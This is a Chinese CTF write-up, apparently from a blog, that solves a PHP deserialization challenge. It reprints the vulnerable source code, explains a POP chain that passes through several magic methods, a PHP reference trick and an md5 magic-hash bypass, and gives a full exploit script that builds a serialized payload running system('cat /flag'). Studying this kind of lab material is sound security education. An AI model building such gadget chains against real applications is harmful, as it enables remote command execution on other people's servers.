反序列化漏洞引用的用法
题目源码:
<?php
error_reporting(0);
show_source("index.php");
class 眼见喜{
private $幽魂;
private $黑熊精;
public function __wakeup(){
if($this->幽魂 == "die"){
echo 'level up to 1';
$避火罩=$this->黑熊精;
return $避火罩();
}else{
echo '幽魂都打不赢?';
}
}
}
class 耳听怒{
private $虎先锋;
private $黄风大圣;
public function __invoke(){
if(is_numeric($this->虎先锋) && md5($this->虎先锋) == 0){
echo $this->黄风大圣;
echo 'level up to 2';
}else{
die('继续刷虎先锋吧');
}
}
}
class 鼻嗅爱{
private $亢金龙;
private $定风珠;
private $黄眉;
public function __toString() {
$this->亢金龙 = '飞天'; //注意,这里会对其重新赋值,使用在exp中直接修改其值是没有用的,要用到引用
$this->定风珠 = '落地';
if($this->亢金龙 == '飞天'){
die('亢金龙怎么才能落地呢?');
}elseif($this->亢金龙 == '落地') {
echo 'level up to 3';
return $this->黄眉->后天人种袋;
}
}
}
class 舌尝思{
private $四妹;
private $百眼魔君;
public function __get($name) {
if($this->四妹 == '丹药'){
echo 'level up to 4';
$this->百眼魔君->女儿 = $name;
}
}
}
class 身本忧{
private $左轮;
private $夜叉;
public function __set($右轮, $value) {
echo 'level up to 5';
return $this->夜叉->风火轮($this->左轮);
}
}
class 意见欲{
private $身份='天命人';
private $如意金箍棒;
private $大声套装;
public function __call($骚年, $金箍) {
if($this->身份 != '齐天大圣'){
die('小小猢狲,一边玩去');
}
call_user_func($this->如意金箍棒,$this->大声套装);
}
}
$p = $_GET['p'];
unserialize($p);
__wakeup->__invoke->__tostring->__get->__set->__call
链子清晰了,我们要处理一个问题,由于上述代码中所有的类,都存在一个问题,私有属性的变量,无法直接引用,这个的解决方法:在高版本的php中,一般都可以忽略成员变量的可访问性
那我们可以直接把private换成public即可
关键在这里:
class 鼻嗅爱{
private $亢金龙;
private $定风珠;
private $黄眉;
public function __toString() {
$this->亢金龙 = '飞天';
$this->定风珠 = '落地';
if($this->亢金龙 == '飞天'){
die('亢金龙怎么才能落地呢?');
}elseif($this->亢金龙 == '落地') {
echo 'level up to 3';
return $this->黄眉->后天人种袋;
}
}
}
为了绕过if,只有让亢金龙 == ‘落地’,但是赋值肯定是不行的,因为反序列化的时候还是会是亢金龙 == ‘飞天’,故使用引用
因为定风珠 = ‘落地’, 所以亢金龙=&定风珠 ,亢金龙等于定风珠的值
即:
$d = new 鼻嗅爱();
$d->亢金龙 = &$d->定风珠; // 设置引用
exp:
<?php
error_reporting(0);
show_source("index.php");
class 眼见喜{
public $幽魂;
public $黑熊精;
public function __wakeup(){
if($this->幽魂 == "die"){
echo 'level up to 1';
$避火罩=$this->黑熊精;
return $避火罩();
}else{
echo '幽魂都打不赢?';
}
}
}
class 耳听怒{
public $虎先锋;
public $黄风大圣;
public function __invoke(){
if(is_numeric($this->虎先锋) && md5($this->虎先锋) == 0){
echo $this->黄风大圣;
echo 'level up to 2';
}else{
die('继续刷虎先锋吧');
}
}
}
class 鼻嗅爱{
public $亢金龙;
public $定风珠;
public $黄眉;
public function __toString() {
$this->亢金龙 = '飞天';
$this->定风珠 = '落地';
if($this->亢金龙 == '飞天'){
die('亢金龙怎么才能落地呢?');
}elseif($this->亢金龙 == '落地') {
echo 'level up to 3';
return $this->黄眉->后天人种袋;
}
}
}
class 舌尝思{
public $四妹;
public $百眼魔君;
public function __get($name) {
if($this->四妹 == '丹药'){
echo 'level up to 4';
$this->百眼魔君->女儿 = $name;
}
}
}
class 身本忧{
public $左轮;
public $夜叉;
public function __set($右轮, $value) {
echo 'level up to 5';
return $this->夜叉->风火轮($this->左轮);
}
}
class 意见欲{
public $身份='天命人';
public $如意金箍棒;
public $大声套装;
public function __call($骚年, $金箍) {
if($this->身份 != '齐天大圣'){
die('小小猢狲,一边玩去');
}
call_user_func($this->如意金箍棒,$this->大声套装);
}
}
$a=new 意见欲();
$a->身份='齐天大圣';
$a->如意金箍棒='system';
$a->大声套装='cat /flag';
$b=new 身本忧();
$b->夜叉=$a;
$c=new 舌尝思();
$c->四妹='丹药';
$c->百眼魔君=$b;
$d=new 鼻嗅爱();
$d->亢金龙=&$d->定风珠;
$d->黄眉=$c;
$e=new 耳听怒();
$e->虎先锋=240610708;
$e->黄风大圣=$d;
$f=new 眼见喜();
$f->幽魂='die';
$f->黑熊精=$e;
echo serialize($f);
?>
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20633907

浙公网安备 33010602011771号